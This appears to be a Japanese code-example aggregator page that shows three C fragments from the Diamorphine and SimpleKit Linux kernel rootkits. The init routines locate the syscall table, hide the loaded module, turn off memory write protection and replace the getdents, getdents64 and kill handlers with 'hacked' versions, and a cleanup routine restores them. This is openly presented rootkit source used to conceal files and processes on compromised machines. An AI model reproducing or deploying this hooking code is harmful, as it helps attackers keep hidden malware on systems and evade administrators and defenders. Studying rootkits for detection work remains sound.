C++ (Cpp) unprotect_memoryの例

コード例 #1

ファイル: diamorphine.c プロジェクト: ulissescastro/Diamorphine

static int __init
diamorphine_init(void)
{
	unsigned int level;

	sys_call_table = get_syscall_table_bf();
	if (!sys_call_table)
		return -1;

	pte = lookup_address((unsigned long)sys_call_table, &level);
	if (!pte)
		return -1;

	module_hide();
	tidy();

	orig_getdents = (orig_getdents_t)sys_call_table[__NR_getdents];
	orig_getdents64 = (orig_getdents64_t)sys_call_table[__NR_getdents64];
	orig_kill = (orig_kill_t)sys_call_table[__NR_kill];

	unprotect_memory();
	sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
	sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
	sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
	protect_memory();

	return 0;
}

コード例 #2

ファイル: diamorphine.c プロジェクト: ulissescastro/Diamorphine

static void __exit
diamorphine_cleanup(void)
{
	unprotect_memory();
	sys_call_table[__NR_getdents] = (unsigned long)orig_getdents;
	sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64;
	sys_call_table[__NR_kill] = (unsigned long)orig_kill;
	protect_memory();
}

コード例 #3

ファイル: simplekit.c プロジェクト: Manicarus/SimpleKit

// 커널 모듈을 로드할 때 수행
static int __init
simplekit_init(void)
{
	sys_call_table = get_syscall_table_bf();
	if (!sys_call_table)
		return -1;

	cr0 = read_cr0();

	module_hide();
	tidy();

	orig_getdents = (orig_getdents_t)sys_call_table[__NR_getdents];
	orig_getdents64 = (orig_getdents64_t)sys_call_table[__NR_getdents64];
	orig_kill = (orig_kill_t)sys_call_table[__NR_kill];

	unprotect_memory();
	sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
	sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
	sys_call_table[__NR_kill] = (unsigned long)hacked_kill;
	protect_memory();

	return 0;
}